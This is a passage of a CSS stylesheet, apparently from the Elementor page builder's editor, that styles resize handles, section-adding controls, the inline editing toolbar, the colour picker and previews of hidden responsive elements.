12px; color: var(--e-a-color-txt); } .elementor-control-type-wysiwyg .mce-top-part:before { box-shadow: none; } .elementor-control-type-wysiwyg .elementor-control-dynamic-switcher { border: none; } @media screen and (prefers-color-scheme: dark) { #wp-link-wrap { color-scheme: light; --e-a-color-txt: #515962; --e-a-bg-default: #ffffff; --e-a-border-color-bold: #D5D8DC; --e-a-color-primary-bold: #D004D4; } #wp-link { color: var(--e-a-color-txt); } #wp-link input { background-color: var(--e-a-bg-default); border-color: var(--e-a-border-color-bold); } #wp-link input[type=checkbox] { border-color: var(--e-a-border-color-bold); } #wp-link input[type=checkbox]:checked { background: var(--e-a-color-primary-bold); } #wp-link input.button-primary { background: #2271b1; border-color: #2271b1; color: #fff; } } .ui-resizable-n { top: -5px; } .ui-resizable-e { right: -5px; } .ui-resizable-s { bottom: -5px; } .ui-resizable-w { left: -5px; } .ui-resizable-ne { top: -5px; right: -5px; } .ui-resizable-nw { top: -5px; left: -5px; } .ui-resizable-se { bottom: -5px; right: -5px; } .ui-resizable-sw { bottom: -5px; left: -5px; } .ui-resizable-n, .ui-resizable-s { left: 0; height: 10px; width: 100%; cursor: ns-resize; } .ui-resizable-e, .ui-resizable-w { top: 0; height: 100%; width: 10px; cursor: ew-resize; } .ui-resizable-ne, .ui-resizable-nw, .ui-resizable-se, .ui-resizable-sw { height: 15px; width: 15px; } .ui-resizable-nw, .ui-resizable-se { cursor: nwse-resize; } .ui-resizable-ne, .ui-resizable-sw { cursor: nesw-resize; } .ui-resizable-handle { position: absolute; } .ui-resizable-resizing { pointer-events: none; } :root { --e-p-draggable-color: #F0ABFC; --e-p-border-section: #F3BAFD; --e-p-border-section-hover: #F0ABFC; --e-p-border-section-invert: #0C0D0E; --e-p-border-con: #F3BAFD; --e-p-border-con-hover: #F0ABFC; --e-p-border-con-invert: #0C0D0E; --e-p-border-column: #9DA5AE; --e-p-border-column-hover: #818A96; --e-p-border-column-invert: #0C0D0E; --e-p-border-con-in: #9DA5AE; --e-p-border-con-in-hover: #818A96; --e-p-border-con-in-invert: #0C0D0E; --e-p-border-widget: #F3BAFD; --e-p-border-widget-hover: #F0ABFC; --e-p-border-widget-invert: #0C0D0E; --e-p-border-global: #5EEAD4; --e-p-border-global-hover: #1DDDBF; --e-p-border-global-invert: #0C0D0E; } .elementor-add-section { all: initial; display: flex; max-width: 1160px; position: relative; margin-inline: auto; } .elementor-add-section:not(.elementor-dragging-on-child) .elementor-add-section-inner { border: 2px dashed var(--e-a-border-color-bold); background-color: rgba(255, 255, 255, 0.5); } .elementor-add-section.elementor-dragging-on-child .elementor-add-section-inner { border: 2px dashed var(--e-a-color-primary); } .elementor-add-section[data-view=choose-action] .e-view:not(.elementor-add-new-section) { display: none; } .elementor-add-section[data-view=select-preset] .e-view:not(.elementor-select-preset) { display: none; } .elementor-add-section[data-view=select-container-preset] .e-view:not(.e-con-select-preset) { display: none; } .elementor-add-section[data-view=select-type] .e-view:not(.e-con-select-type) { display: none; } .elementor-add-section[data-view=select-container-preset-grid] .e-view:not(.e-con-select-preset-grid) { display: none; } .elementor-add-section-inner { text-align: center; margin: 20px; padding: 40px 0; display: flex; justify-content: center; flex-grow: 1; } .elementor-add-new-section { display: flex; justify-content: center; flex-wrap: wrap; gap: 5px; } .elementor-add-section-area-button { padding: 12px; height: 40px; width: 40px; border-radius: 50%; font-size: 16px; display: flex; outline: none; border: none; background-color: var(--e-a-bg-active); color: var(--e-a-color-black); transition: var(--e-a-transition-hover); cursor: pointer; } .elementor-add-section-area-button:hover { background-color: var(--e-a-bg-active-bold); color: var(--e-a-color-black); } .elementor-add-section-area-button i { margin: 0; } .elementor-add-section-area-button.e-button-primary { background-color: var(--e-a-btn-bg-primary); color: var(--e-a-btn-color); } .elementor-add-section-area-button.e-button-primary:hover { background-color: var(--e-a-btn-bg-primary-hover); color: var(--e-a-btn-color); } .elementor-add-section-drag-title, .elementor-select-preset-title { font-family: var(--e-a-font-family); font-size: 13px; line-height: 1; color: var(--e-a-color-txt); } .elementor-add-section-drag-title { font-style: italic; font-weight: normal; margin-block-start: 10px; width: 100%; } .elementor-select-preset-title { font-weight: 500; text-transform: uppercase; } .elementor-add-section-close { right: 40px; } .elementor-add-section-back { left: 40px; } .elementor-wizard-icon { position: absolute; top: 40px; font-size: 20px; cursor: pointer; line-height: 1; color: var(--e-a-color-txt); } .elementor-wizard-icon:hover { color: var(--e-a-color-txt-hover); } .elementor-select-preset-list { list-style: none; padding: 0 25px; margin: 20px auto 0; overflow: hidden; max-width: 700px; } .elementor-select-preset-list .elementor-preset { cursor: pointer; margin: 0; padding: 10px; float: right; max-width: 33.333%; } .elementor-select-preset-list .elementor-preset:not(:hover) path, .elementor-select-preset-list .elementor-preset:not(:hover) rect { fill: var(--e-a-bg-active-bold); transition: 0.3s all; } .elementor-select-preset-list .elementor-preset:hover path, .elementor-select-preset-list .elementor-preset:hover rect { fill: var(--e-a-color-txt); } .elementor-select-preset-list .elementor-preset .e-preset--container { position: relative; display: flex; } .elementor-select-preset-list .elementor-preset .e-preset--container::before { content: var(--text); font-family: var(--e-a-font-family); font-size: 13px; font-weight: 500; position: absolute; left: 50%; top: 50%; color: var(--e-a-color-white); transform: translate(-50%, -50%); } .elementor-select-preset-list .elementor-preset svg { height: 50px; width: 100%; transform: rotate(180deg); } .elementor-add-section[data-view=choose-action] .elementor-add-section-back { display: none; } .elementor-add-section[data-view=select-preset] .elementor-add-section-back { display: none; } .elementor-add-section[data-view=select-type] .elementor-add-section-back { display: none; } #elementor-add-new-section { margin: 60px auto; } #elementor-add-new-section[data-view=choose-action] .elementor-add-section-close { display: none; } .elementor-add-section-inline { margin: 10px auto; width: 100%; } @keyframes placeholder-section { 0% { height: 0; opacity: 0; } 100% { height: 40px; opacity: 0.9; } } @keyframes placeholder-widget { 0% { height: 0; opacity: 0; } 100% { height: 10px; opacity: 0.9; } } @keyframes section-outline { 0% { opacity: 0; } 100% { opacity: 1; } } body.elementor-editor-active .elementor.elementor-edit-mode.layout-section .entry-content { overflow: visible; } body.elementor-editor-active .elementor.elementor-edit-mode .article { overflow: visible; } body.elementor-editor-active .elementor.elementor-edit-mode .elementor-element-overlay .elementor-editor-element-settings { clear: unset; } body.elementor-editor-active .elementor.elementor-edit-mode .elementor-element.elementor-section { overflow: visible; } .elementor-edit-area .animated { animation-fill-mode: none !important; } .elementor-edit-area ul.elementor-editor-element-settings { word-break: normal; padding: 0; } .elementor-edit-area .gallery { opacity: 1; } .pen { position: relative; outline: none; } .pen:not([data-elementor-inline-editing-toolbar=advanced]) { white-space: pre-wrap; } .pen-menu { box-shadow: 1px 2px 3px -2px #222; background-color: #3f444b; position: fixed; overflow: hidden; border-radius: 3px; z-index: 9999; } .pen-menu:after { top: 100%; content: ""; position: absolute; border: 6px solid transparent; border-block-start-color: #3f444b; left: 50%; transform: translateX(-50%); } .pen-menu-below:after { top: 0; transform: translateX(-50%) translateY(-100%) rotate(180deg); } .pen-icon { position: relative; display: flex; align-items: center; justify-content: center; height: 35px; padding: 0 10px; font-size: 21px; color: #D5D8DC; cursor: pointer; -webkit-user-select: none; -moz-user-select: none; user-select: none; } .pen-icon:hover { background: #1f2124; } .pen-icon[data-group], .pen-icon[data-action=closeGroup] { display: none; } .pen-icon[data-action=close]:before { content: ""; position: absolute; right: 0; height: 60%; width: 1px; background-color: #1f2124; } .pen-icon.active { background-color: #1f2124; box-shadow: inset 2px 2px 4px #1f2124; } .pen-group-icon:after { font-family: eicons; font-size: 12px; content: "\e92a"; padding-inline-start: 4px; color: #2563EB; } .pen-input-wrapper { align-items: center; } .pen-input-wrapper .pen-url-input { font-size: 12px; line-height: 1.5; padding: 0; padding-inline-start: 10px; padding-inline-end: 10px; width: 250px; direction: ltr; } .pen-input-wrapper .pen-url-input, .pen-input-wrapper .pen-url-input:focus { background-color: transparent; border: none; outline: none; box-shadow: none; color: #fff; } .pen-input-wrapper .pen-url-input::-moz-placeholder { color: #D5D8DC; } .pen-input-wrapper .pen-url-input::placeholder { color: #D5D8DC; } .pen-input-label { margin: 0; margin-inline-end: -1px; } .pen-placeholder:before { content: attr(data-pen-placeholder); position: absolute; font-weight: normal; color: #757575; opacity: 0.6; } .pen-external-url-checkbox { display: none; } .pen-external-url-checkbox:checked + i { color: #fff; } .elementor-inline-editing i:not([class]) { font-style: italic; } .elementor-inline-editing b { font-weight: bold; } .elementor-inline-editing u { text-decoration: underline; } .e-element-color-picker { --primary-color: #2563EB; --swatch-size: 25px; cursor: default; display: flex; position: absolute; width: calc((var(--count) + 1) * var(--swatch-size)); height: var(--swatch-size); top: var(--top); left: var(--left); right: var(--right, unset); border-radius: 3px; opacity: 0; pointer-events: none; z-index: 9998; background-color: var(--primary-color); padding: 1px; box-sizing: content-box; transition: opacity 0.3s, width 0.3s; } .e-element-color-picker.e-picker-hidden { opacity: 0; pointer-events: none; } .e-element-color-picker::before { content: ""; flex: 0 1 var(--swatch-size); max-width: 100%; height: 100%; box-sizing: border-box; text-align: center; } .e-element-color-picker::after { content: "\e91e"; font-family: "eicons"; color: #FFF; font-size: 1rem; line-height: var(--swatch-size); position: absolute; left: 0.3rem; z-index: -1; } .e-element-color-picker__swatch { flex: 1 0 var(--swatch-size); max-width: 100%; height: 100%; cursor: pointer; transition: var(--e-a-transition-hover); position: relative; overflow: hidden; border-radius: inherit; /* Hack to fix transparent `--color` on hover */ background: linear-gradient(var(--color), var(--color)), linear-gradient(var(--primary-color), var(--primary-color)); } .e-element-color-picker__swatch:not(:first-child) { border-left: 1px solid var(--primary-color); } .e-element-color-picker__swatch::before { content: attr(data-text); position: absolute; left: 50%; top: 50%; opacity: 0; color: var(--color); font-size: 10px; font-weight: 300; font-family: Roboto, Arial, Helvetica, sans-serif; transform: translate(-50%, -50%); filter: hue-rotate(180deg) grayscale(1) contrast(999) invert(1); transition: inherit; } .e-element-color-picker__swatch:hover { flex-basis: calc(2 * var(--swatch-size)); flex-shrink: 0; } .e-element-color-picker__swatch:hover::before { opacity: 1; } .e-ui-state--elements-color-picker-color-picking__on *:not(.e-element-color-picker__swatch) { cursor: url("../images/eyedropper.svg") 0 20, pointer; } .e-ui-state--elements-color-picker-color-picking__on .e-element-color-picker:not(.e-picker-hidden):hover, .e-ui-state--elements-color-picker-color-picking__on .elementor-element:hover > .e-element-color-picker:not(.e-picker-hidden), .e-ui-state--elements-color-picker-color-picking__on .elementor-widget-container:hover + .e-element-color-picker:not(.e-picker-hidden) { opacity: 1; pointer-events: all; } .e-ui-state--elements-color-picker-color-picking__on .elementor-section:hover { outline: 1px solid #2563EB; } /** * Contact Buttons has position: fixed, therefore the container results as `empty` * and it's not visible in the preview when the aside is hidden. */ .elementor-editor-preview .elementor-element:has(.e-contact-buttons) .elementor-widget-empty, .elementor-editor-preview .elementor-element:has(.e-floating-bars) .elementor-widget-empty { display: block; } [class^=eicon-flex], [class*=" eicon-flex"] { transition: 0.3s all; --is-ltr: 1; --is-rtl: 0; --rotation-direction: calc(var(--is-ltr) - var(--is-rtl)); --is-ltr: 0; --is-rtl: 1; } [class^=eicon-flex].eicon-inline, [class*=" eicon-flex"].eicon-inline { max-height: 1em; max-width: 1em; } [class^=eicon-flex]:is(.eicon-justify-start-h, .eicon-justify-end-h), [class*=" eicon-flex"]:is(.eicon-justify-start-h, .eicon-justify-end-h) { --rotation-direction: calc(var(--is-ltr) + var(--is-rtl)); } :is(.e-ui-state--document-direction-mode__column, .e-ui-state--document-direction-mode__column-reverse) [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow), :is(.e-ui-state--document-direction-mode__column, .e-ui-state--document-direction-mode__column-reverse) [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow) { transform: rotate(calc(var(--rotation-direction) * 90deg)); } :is(.e-ui-state--document-direction-mode__column, .e-ui-state--document-direction-mode__column-reverse) [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-align-start-v, .eicon-align-end-v), :is(.e-ui-state--document-direction-mode__column, .e-ui-state--document-direction-mode__column-reverse) [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-align-start-v, .eicon-align-end-v) { transform: rotate(calc(var(--rotation-direction) * -90deg)); } .e-ui-state--document-direction-mode__column-reverse [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h, .eicon-justify-end-h, .eicon-order-start, .eicon-order-end), .e-ui-state--document-direction-mode__column-reverse [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h, .eicon-justify-end-h, .eicon-order-start, .eicon-order-end) { transform: rotate(calc(var(--rotation-direction) * -90deg)); } .e-ui-state--document-direction-mode__row [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h, .eicon-justify-end-h, .eicon-order-start, .eicon-order-end), .e-ui-state--document-direction-mode__row [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h, .eicon-justify-end-h, .eicon-order-start, .eicon-order-end) { transform: rotate(calc(var(--is-rtl) * 180deg)); } .e-ui-state--document-direction-mode__row-reverse [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h, .eicon-justify-end-h, .eicon-order-start, .eicon-order-end), .e-ui-state--document-direction-mode__row-reverse [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h, .eicon-justify-end-h, .eicon-order-start, .eicon-order-end) { transform: rotate(calc(var(--is-ltr) * 180deg)); } html.elementor-html { margin-block-start: 0 !important; } .elementor-edit-area { position: relative; } .elementor.loading { opacity: 0.5; } .elementor-edit-area-active { --primary-color: var(--e-p-border-con); --secondary-color: var(--e-p-border-con-hover); --outline-color: var(--e-p-border-con-active); } .elementor-edit-area-active .e-con { --primary-color: var(--e-p-border-con); --secondary-color: var(--e-p-border-con-hover); --outline-color: var( --outline-color ); } .elementor-edit-area-active .e-con.e-dragging-over, .elementor-edit-area-active .e-con.elementor-dragging-on-child, .elementor-edit-area-active .e-con.e-con-boxed.elementor-html5dnd-current-element { outline: 1px solid var(--outline-color); } .elementor-edit-area-active .e-grid-outline { display: none; } .elementor-edit-area-active .elementor-element-editable.e-grid.e-con-full > .e-grid-outline { padding-block-start: var(--bc-padding-block-start, var(--padding-block-start)); padding-block-end: var(--bc-padding-block-end, var(--padding-block-end)); display: grid; position: absolute; top: 0; bottom: 0; pointer-events: none; grid-gap: var(--gap); justify-items: var(--justify-items); align-items: var(--align-items); grid-auto-flow: var(--grid-auto-flow); justify-content: var(--grid-justify-content); align-content: var(--grid-align-content); min-height: var(--min-height); padding-inline-end: var(--bc-padding-inline-end, var(--padding-inline-end)); padding-inline-start: var(--bc-padding-inline-start, var(--padding-inline-start)); width: 100%; left: 0; } .elementor-edit-area-active .elementor-element-editable.e-grid.e-con-boxed > .e-con-inner { position: relative; } .elementor-edit-area-active .elementor-element-editable.e-grid.e-con-boxed > .e-con-inner > .e-grid-outline { padding-block-start: var(--bc-padding-block-start, var(--padding-block-start)); padding-block-end: var(--bc-padding-block-end, var(--padding-block-end)); display: grid; position: absolute; top: 0; bottom: 0; pointer-events: none; grid-gap: var(--gap); justify-items: var(--justify-items); align-items: var(--align-items); grid-auto-flow: var(--grid-auto-flow); justify-content: var(--grid-justify-content); align-content: var(--grid-align-content); min-height: var(--min-height); width: var(--width); margin: 0 auto; } .elementor-edit-area-active .elementor-element-editable.e-grid .e-grid-outline-item { border: 1px dashed #9DA5AE; pointer-events: none; width: 100%; height: 100%; } .elementor-edit-area-active .elementor-inner-section:first-child { margin-block-start: 15px; } .elementor-edit-area-active .elementor-widget-wrap.elementor-element-empty { min-height: 30px; } @media (min-width: 768px) { .elementor-edit-area-active .elementor-widget-wrap.elementor-element-empty { margin: 10px; } } .elementor-edit-area-active .elementor-column { min-width: 25px; } .elementor-edit-area-active .elementor-widget.elementor-loading { opacity: 0.3; } .elementor-edit-area-active .elementor-widget.elementor-element-edit-mode:hover { box-shadow: 0 0 0 1px var(--e-p-border-widget); } .elementor-edit-area-active .elementor-widget.elementor-element-editable, .elementor-edit-area-active .elementor-widget.elementor-element-editable:hover { box-shadow: 0 0 0 2px var(--e-p-border-widget); } .elementor-edit-area-active .elementor-widget:not(:hover) .elementor-editor-element-settings { display: none; } .elementor-edit-area-active .elementor-widget.ui-draggable-dragging { pointer-events: none; } .elementor-edit-area-active .elementor-editor-element-setting { cursor: pointer; display: flex; align-items: center; justify-content: center; padding: 0; margin: 0; font-size: 11px; color: var(--e-p-border-widget-invert); width: 25px; transition: var(--e-a-transition-hover); } .elementor-edit-area-active .elementor-inline-editing { min-height: 15px; } .elementor-edit-area-active .elementor-edit-hidden { display: none; } .elementor-section-wrap:empty { min-height: 25px; } .elementor-section-wrap > :first-child > .elementor-element-overlay { z-index: 9999; } .elementor-element > .elementor-element-overlay { position: absolute; top: 0; left: 0; letter-spacing: 0; z-index: 9998; pointer-events: none; } .elementor-element-empty .elementor-sortable-placeholder { display: none; } .elementor-element.elementor-widget-empty { background-color: rgba(213, 216, 220, 0.8); } .elementor-element.elementor-widget-empty .elementor-widget-empty-icon { color: #BABFC5; font-size: 22px; display: block; text-align: center; padding: 10px 0; } .elementor-element:not(:hover):not(.elementor-element-editable) > .elementor-element-overlay .elementor-editor-element-settings { display: none; } .elementor-element--toggle-edit-tools > .elementor-element-overlay .elementor-editor-element-edit:not(.elementor-active) ~ * { width: 0; font-size: 0; } .elementor-element[data-side=top]:before, .elementor-element[data-side=bottom] + .elementor-element:before { content: ""; background-color: var(--e-p-draggable-color); transition-timing-function: ease-out; opacity: 0.9; height: 10px; animation: placeholder-widget 500ms; display: block; } .elementor-element[data-side=bottom]:last-child:after { content: ""; background-color: var(--e-p-draggable-color); transition-timing-function: ease-out; opacity: 0.9; height: 10px; animation: placeholder-widget 500ms; display: block; } .elementor-element.elementor-absolute, .elementor-element.elementor-fixed { cursor: grab; } .elementor-element.elementor-absolute:active, .elementor-element.elementor-fixed:active { cursor: grabbing; } .elementor-element.elementor-absolute .eicon-edit:before, .elementor-element.elementor-fixed .eicon-edit:before { content: "\e902"; } .elementor-editor-element-settings { position: absolute; display: flex; height: 26px; list-style: none; margin: 0; padding: 0; font-family: var(--e-a-font-family); font-size: 13px; font-weight: normal; font-style: normal; line-height: 1; z-index: 1; pointer-events: all; transition: var(--e-a-transition-hover); } @media (min-width: 1025px) { .elementor-editor-element-edit { cursor: move; } } .elementor-empty-view { position: absolute; top: 0; bottom: 0; left: 0; right: 0; z-index: 1; } .elementor-first-add { text-align: center; border: 1px dashed var(--e-a-border-color-bold); display: flex; height: 100%; width: 100%; position: absolute; align-items: center; justify-content: center; } .elementor-first-add .elementor-icon { font-size: 19px; color: #9DA5AE; cursor: pointer; } .elementor-sortable-helper { position: absolute; cursor: move; border: var(--e-a-border); border-radius: var(--e-a-border-radius); background-color: var(--e-a-bg-active); border-color: var(--e-a-border-color-accent); color: var(--e-a-color-active); text-align: center; } .elementor-sortable-helper .icon { font-size: 28px; padding-block-start: 15px; line-height: 1; } .elementor-sortable-helper .title-wrapper { display: flex; height: 40px; align-items: center; justify-content: center; } .elementor-sortable-helper .title { font-size: 11px; } .elementor-sortable-placeholder:not(.elementor-column-placeholder) { background-color: var(--e-p-draggable-color); animation-duration: 250ms; opacity: 0.9; width: 100%; align-self: stretch; } .e-con .elementor-first-add .elementor-sortable-placeholder:not(.elementor-column-placeholder) { align-self: center; } .e-swappable--active > .elementor-sortable-placeholder:not(.elementor-column-placeholder) { display: none; } .elementor-section-placeholder { height: 40px; animation-name: placeholder-section; } .elementor-widget-placeholder { height: 10px; animation-name: placeholder-widget; } .elementor-draggable-over:not([data-dragged-element=section]):not([data-dragged-is-inner=true]) > .elementor-empty-view > .elementor-first-add:after, .elementor-first-add.elementor-html5dnd-current-element:after { content: ""; background-color: var(--e-p-draggable-color); transition-timing-function: ease-out; opacity: 0.9; height: 10px; animation: placeholder-widget 500ms; width: 100%; } .e-con .elementor-draggable-over:not([data-dragged-element=section]):not([data-dragged-is-inner=true]) > .elementor-empty-view > .elementor-first-add:after, .e-con .elementor-first-add.elementor-html5dnd-current-element:after { display: none; } .elementor-draggable-over:not([data-dragged-element=section]):not([data-dragged-is-inner=true]) > .elementor-empty-view > .elementor-first-add .elementor-icon, .elementor-first-add.elementor-html5dnd-current-element .elementor-icon { display: none; } .elementor-draggable-over[data-dragged-element=section][data-dragged-is-inner=true] .elementor-inner-column .elementor-sortable-placeholder { display: none; } .elementor-editor-preview .elementor-element-overlay, .elementor-editor-preview .elementor-empty, .elementor-editor-preview .elementor-add-section, .elementor-editor-preview .elementor-add-section-inline, .elementor-editor-preview .elementor-empty-view, .elementor-editor-preview .elementor-widget-empty { display: none; } .e-preview--show-hidden-elements[data-elementor-device-mode=widescreen] .elementor-edit-area-active .elementor-hidden-widescreen, .e-preview--show-hidden-elements[data-elementor-device-mode=desktop] .elementor-edit-area-active .elementor-hidden-desktop, .e-preview--show-hidden-elements[data-elementor-device-mode=laptop] .elementor-edit-area-active .elementor-hidden-laptop, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet_extra] .elementor-edit-area-active .elementor-hidden-tablet_extra, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet] .elementor-edit-area-active .elementor-hidden-tablet, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile_extra] .elementor-edit-area-active .elementor-hidden-mobile_extra, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile] .elementor-edit-area-active .elementor-hidden-mobile { display: inherit; background: repeating-linear-gradient(125deg, rgba(0, 0, 0, 0.05), rgba(0, 0, 0, 0.05) 1px, transparent 2px, transparent 9px); border: 1px solid rgba(0, 0, 0, 0.02); } .e-preview--show-hidden-elements[data-elementor-device-mode=widescreen] .elementor-edit-area-active .elementor-hidden-widescreen.elementor-section > .elementor-element-overlay, .e-preview--show-hidden-elements[data-elementor-device-mode=widescreen] .elementor-edit-area-active .elementor-hidden-widescreen.e-con > .elementor-element-overlay, .e-preview--show-hidden-elements[data-elementor-device-mode=desktop] .elementor-edit-area-active .elementor-hidden-desktop.elementor-section > .elementor-element-overlay, .e-preview--show-hidden-elements[data-elementor-device-mode=desktop] .elementor-edit-area-active .elementor-hidden-desktop.e-con > .elementor-element-overlay, .e-preview--show-hidden-elements[data-elementor-device-mode=laptop] .elementor-edit-area-active .elementor-hidden-laptop.elementor-section > .elementor-element-overlay, .e-preview--show-hidden-elements[data-elementor-device-mode=laptop] .elementor-edit-area-active .elementor-hidden-laptop.e-con > .elementor-element-overlay, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet_extra] .elementor-edit-area-active .elementor-hidden-tablet_extra.elementor-section > .elementor-element-overlay, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet_extra] .elementor-edit-area-active .elementor-hidden-tablet_extra.e-con > .elementor-element-overlay, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet] .elementor-edit-area-active .elementor-hidden-tablet.elementor-section > .elementor-element-overlay, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet] .elementor-edit-area-active .elementor-hidden-tablet.e-con > .elementor-element-overlay, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile_extra] .elementor-edit-area-active .elementor-hidden-mobile_extra.elementor-section > .elementor-element-overlay, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile_extra] .elementor-edit-area-active .elementor-hidden-mobile_extra.e-con > .elementor-element-overlay, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile] .elementor-edit-area-active .elementor-hidden-mobile.elementor-section > .elementor-element-overlay, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile] .elementor-edit-area-active .elementor-hidden-mobile.e-con > .elementor-element-overlay { background-color: var(--e-a-bg-hover); mix-blend-mode: color; } .e-preview--show-hidden-elements[data-elementor-device-mode=widescreen] .elementor-edit-area-active .elementor-hidden-widescreen.elementor-section:before, .e-preview--show-hidden-elements[data-elementor-device-mode=widescreen] .elementor-edit-area-active .elementor-hidden-widescreen.e-con:before, .e-preview--show-hidden-elements[data-elementor-device-mode=desktop] .elementor-edit-area-active .elementor-hidden-desktop.elementor-section:before, .e-preview--show-hidden-elements[data-elementor-device-mode=desktop] .elementor-edit-area-active .elementor-hidden-desktop.e-con:before, .e-preview--show-hidden-elements[data-elementor-device-mode=laptop] .elementor-edit-area-active .elementor-hidden-laptop.elementor-section:before, .e-preview--show-hidden-elements[data-elementor-device-mode=laptop] .elementor-edit-area-active .elementor-hidden-laptop.e-con:before, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet_extra] .elementor-edit-area-active .elementor-hidden-tablet_extra.elementor-section:before, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet_extra] .elementor-edit-area-active .elementor-hidden-tablet_extra.e-con:before, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet] .elementor-edit-area-active .elementor-hidden-tablet.elementor-section:before, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet] .elementor-edit-area-active .elementor-hidden-tablet.e-con:before, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile_extra] .elementor-edit-area-active .elementor-hidden-mobile_extra.elementor-section:before, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile_extra] .elementor-edit-area-active .elementor-hidden-mobile_extra.e-con:before, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile] .elementor-edit-area-active .elementor-hidden-mobile.elementor-section:before, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile] .elementor-edit-area-active .elementor-hidden-mobile.e-con:before { content: ""; display: block; position: absolute; top: 0; left: 0; width: 100%; height: 100%; background-color: rgba(255, 255, 255, 0.6); z-index: 9997; } .e-preview--show-hidden-elements[data-elementor-device-mode=widescreen] .elementor-edit-area-active .elementor-hidden-widescreen.e-con, .e-preview--show-hidden-elements[data-elementor-device-mode=desktop] .elementor-edit-area-active .elementor-hidden-desktop.e-con, .e-preview--show-hidden-elements[data-elementor-device-mode=laptop] .elementor-edit-area-active .elementor-hidden-laptop.e-con, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet_extra] .elementor-edit-area-active .elementor-hidden-tablet_extra.e-con, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet] .elementor-edit-area-active .elementor-hidden-tablet.e-con, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile_extra] .elementor-edit-area-active .elementor-hidden-mobile_extra.e-con, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile] .elementor-edit-area-active .elementor-hidden-mobile.e-con { display: var(--display); } .e-preview--show-hidden-elements[data-elementor-device-mode=widescreen] .elementor-edit-area-active .elementor-hidden-widescreen.elementor-inner-section .elementor-container, .e-preview--show-hidden-elements[data-elementor-device-mode=desktop] .elementor-edit-area-active .elementor-hidden-desktop.elementor-inner-section .elementor-container, .e-preview--show-hidden-elements[data-elementor-device-mode=laptop] .elementor-edit-area-active .elementor-hidden-laptop.elementor-inner-section .elementor-container, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet_extra] .elementor-edit-area-active .elementor-hidden-tablet_extra.elementor-inner-section .elementor-container, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet] .elementor-edit-area-active .elementor-hidden-tablet.elementor-inner-section .elementor-container, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile_extra] .elementor-edit-area-active .elementor-hidden-mobile_extra.elementor-inner-section .elementor-container, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile] .elementor-edit-area-active .elementor-hidden-mobile.elementor-inner-section .elementor-container { width: 100%; } .e-preview--show-hidden-elements[data-elementor-device-mode=widescreen] .elementor-edit-area-active .elementor-hidden-widescreen > .elementor-widget-container, .e-preview--show-hidden-elements[data-elementor-device-mode=widescreen] .elementor-edit-area-active .elementor-hidden-widescreen > .elementor-widget-wrap, .e-preview--show-hidden-elements[data-elementor-device-mode=desktop] .elementor-edit-area-active .elementor-hidden-desktop > .elementor-widget-container, .e-preview--show-hidden-elements[data-elementor-device-mode=desktop] .elementor-edit-area-active .elementor-hidden-desktop > .elementor-widget-wrap, .e-preview--show-hidden-elements[data-elementor-device-mode=laptop] .elementor-edit-area-active .elementor-hidden-laptop > .elementor-widget-container, .e-preview--show-hidden-elements[data-elementor-device-mode=laptop] .elementor-edit-area-active .elementor-hidden-laptop > .elementor-widget-wrap, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet_extra] .elementor-edit-area-active .elementor-hidden-tablet_extra > .elementor-widget-container, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet_extra] .elementor-edit-area-active .elementor-hidden-tablet_extra > .elementor-widget-wrap, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet] .elementor-edit-area-active .elementor-hidden-tablet > .elementor-widget-container, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet] .elementor-edit-area-active .elementor-hidden-tablet > .elementor-widget-wrap, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile_extra] .elementor-edit-area-active .elementor-hidden-mobile_extra > .elementor-widget-container, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile_extra] .elementor-edit-area-active .elementor-hidden-mobile_extra > .elementor-widget-wrap, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile] .elementor-edit-area-active .elementor-hidden-mobile > .elementor-widget-container, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile] .elementor-edit-area-active .elementor-hidden-mobile > .elementor-widget-wrap { filter: opacity(0.4) saturate(0); } 